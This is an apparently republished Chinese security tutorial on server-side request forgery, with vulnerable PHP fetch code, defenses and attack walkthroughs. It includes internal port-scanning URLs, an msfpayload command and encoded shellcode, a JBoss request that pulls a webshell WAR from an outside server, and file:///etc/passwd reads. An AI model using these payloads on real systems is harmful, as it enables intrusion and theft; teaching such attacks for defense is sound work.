ssrf攻擊概述.md
ssrf攻擊概述
很多web應用都提供了從其他的伺服器上獲取資料的功能。使用使用者指定的URL,web應用可以獲取圖片,下載檔案,讀取檔案內容等。這個功能如果被惡意使用,可以利用存在缺陷的web應用作為代理攻擊遠端和本地的伺服器。這種形式的攻擊稱為服務端請求偽造攻擊(Server-side Request Forgery)。
比如下圖顯示的就是提供這種功能的典型應用:
如果應用程式對使用者提供的URL和遠端伺服器返回的資訊沒有進行合適的驗證和過濾,就可能存在這種服務端請求偽造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被發現過這種漏洞。攻擊者利用ssrf可以實現的攻擊主要有5種:
1.可以對外網、伺服器所在內網、本地進行埠掃描,獲取一些服務的banner資訊;
2.攻擊執行在內網或本地的應用程式(比如溢位);
3.對內網web應用進行指紋識別,通過訪問預設檔案實現;
4.攻擊內外網的web應用,主要是使用get引數就可以實現的攻擊(比如struts2,sqli等);
5.利用file協議讀取本地檔案等。
常用的後端實現
ssrf攻擊可能存在任何語言編寫的應用,我們通過一些php實現的程式碼來作為樣例分析。程式碼的大部分來自於真實的應用原始碼。
1,php file_get_contents:
<?php if (isset($_POST['url'])) { $content = file_get_contents($_POST['url']); $filename ='./images/'.rand().';img1.jpg'; file_put_contents($filename, $content); echo $_POST['url']; $img = "<img src=\"".$filename."\"/>"; } echo $img; ?>
這段程式碼使用file_get_contents函式從使用者指定的url獲取圖片。然後把它用一個隨即檔名儲存在硬碟上,並展示給使用者。
2,php fsockopen():
<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
這段程式碼使用fsockopen函式實現獲取使用者制定url的資料(檔案或者html)。這個函式會使用socket跟伺服器建立tcp連線,傳輸原始資料。
3,php curl_exec():
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
這是另外一個很常見的實現。使用curl獲取資料。
攻擊場景
大部分的web伺服器架構中,web伺服器自身都可以訪問網際網路和伺服器所在的內網。下圖展示了web伺服器的請求可以到達的地方。
埠掃描
大多數社交網站都提供了通過使用者指定的url上傳圖片的功能。如果使用者輸入的url是無效的。大部分的web應用都會返回錯誤資訊。攻擊者可以輸入一些不常見的但是有效的URI,比如
http://example.com:8080/dir/images/
http://example.com:22/dir/public/image.jpg
http://example.com:3306/dir/images/
然後根據伺服器的返回資訊來判斷埠是否開放。大部分應用並不會去判斷埠,只要是有效的URL,就發出了請求。而大部分的TCP服務,在建立socket連線的時候就會發送banner資訊,banner資訊是ascii編碼的,能夠作為原始的html資料展示。當然,服務端在處理返回資訊的時候一般不會直接展示,但是不同的錯誤碼,返回資訊的長度以及返回時間都可以作為依據來判斷遠端伺服器的埠狀態。
下面一個實現就可以用來做埠掃描:
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}
?>
讀者可以使用如下表單提交測試(比較簡陋~~):
<html><body>
<form name="px" method="post" action="http://127.0.0.1/ss.php">
<input type="text" name="url" value="">
<input type="submit" name="commit" value="submit">
</form>
<script>
</script>
</body></html>
正常情況下,請求http://www.twitter.com/robots.txt 返回結果如下:
如果請求非http服務的埠,比如:http://scanme.nmap.org:22/test.txt 會返回banner資訊
請求關閉的埠會報錯:http://scanme.nmap.org:25/test.txt
請求本地的mysql埠:http://127.0.0.1:3306/test.txt
當然大多數網際網路的應用並不會直接返回banner資訊。不過可以通過前面說過的,處錯誤資訊,響應時間,響應包大小來判斷。下面是Google的webmaster應用中,利用返回資訊判斷埠狀態的案例.該缺陷Google已修復。
攻擊應用程式
內網的安全通常都很薄弱,溢位,弱口令等一般都是存在的。通過ssrf攻擊,可以實現對內網的訪問,從而可以攻擊內網或者本地機器,獲得shell等。
下面是用一個小程式本地來演示:
請求:http://127.0.0.1:8987/test.txt
探測到8987埠開放。
請求:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
這裡是白盒分析,實戰的時候當然沒這個條件只能是利用已知漏洞來溢位。通過分析寫好exp。因為http是基於文字的協議,所以處理一些不可以列印的unicode字元會存在問題。這裡使用msfencode來進行編碼。命令如下:
msfpayload widnows/exec CMD=calc.exe R | msfencode
bufferRegister=ESP -e x86/alpha_mixed
最終payload如下:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhm
YUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl
5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xn
k2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU
8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2
xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOm
KON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
溢位成功,彈出計算器。
大家也許會對http傳送的資料是否能被其他伺服器協議接收存在疑問。可以參考跨協議通訊技術利用
內網web應用指紋識別
識別內網應用使用的框架,平臺,模組以及cms可以為後續的攻擊提供很多幫助。大多數web應用框架都有一些獨特的檔案和目錄。通過這些檔案可以識別出應用的型別,甚至詳細的版本。根據這些資訊就可以針對性的蒐集漏洞進行攻擊。比如可以通過訪問下列檔案來判斷phpMyAdmin是否安裝:
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt
訪問 http://10.0.0.1/portName.js 可以判斷是否是Dlink 路由器
下面百度的案例來自於wooyun,已經修復。通過訪問http://10.50.33.43:8080/manager/images/tomcat.gif 識別出伺服器使用了tomcat。
攻擊內網web應用
僅僅通過get方法可以攻擊的web有很多,比如struts2命令執行等。這裡提供一個Jboss的案例,使用一個get請求即可部署webshell。
只需要將網馬放在公網伺服器上,然後傳送這個請求即可:
&name=jboss.system:service=MainDeployer&methodIndex=17
&arg0=http://our_public_internet_server/utils/cmd.war
通過加引數請求網馬執行命令:http://127.0.0.1:8080/cmd/shell.jsp?x=dir
實戰中一般不會有回顯,類似於盲打只能。
讀取本地檔案
上面提到的案例都是基於http請求的。如果我們指定file協議,也可能讀到伺服器上的檔案。如下的請求會讓應用讀取本地檔案:
Request: file:///C:/Windows/win.ini
下面是Adobe的一個案例,已經修復。請求為file:///etc/passwd
如何防禦
通常有以下5個思路:
1,過濾返回資訊,驗證遠端伺服器對請求的響應是比較容易的方法。如果web應用是去獲取某一種型別的檔案。那麼在把返回結果展示給使用者之前先驗證返回的資訊是否符合標準。
2, 統一錯誤資訊,避免使用者可以根據錯誤資訊來判斷遠端伺服器的埠狀態。
3,限制請求的埠為http常用的埠,比如,80,443,8080,8090。
4,黑名單內網ip。避免應用被用來獲取獲取內網資料,攻擊內網。
5,禁用不需要的協議。僅僅允許http和https請求。可以防止類似於file:///,gopher://,ftp:// 等引起的問題。
參考資料
http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html
via riyazwalikar.com 編譯整理 by litdg@freebuf
本文作者:litdg, 轉載請註明來自FreeBuf.COM
# web安全 # SSRF # ssrf攻擊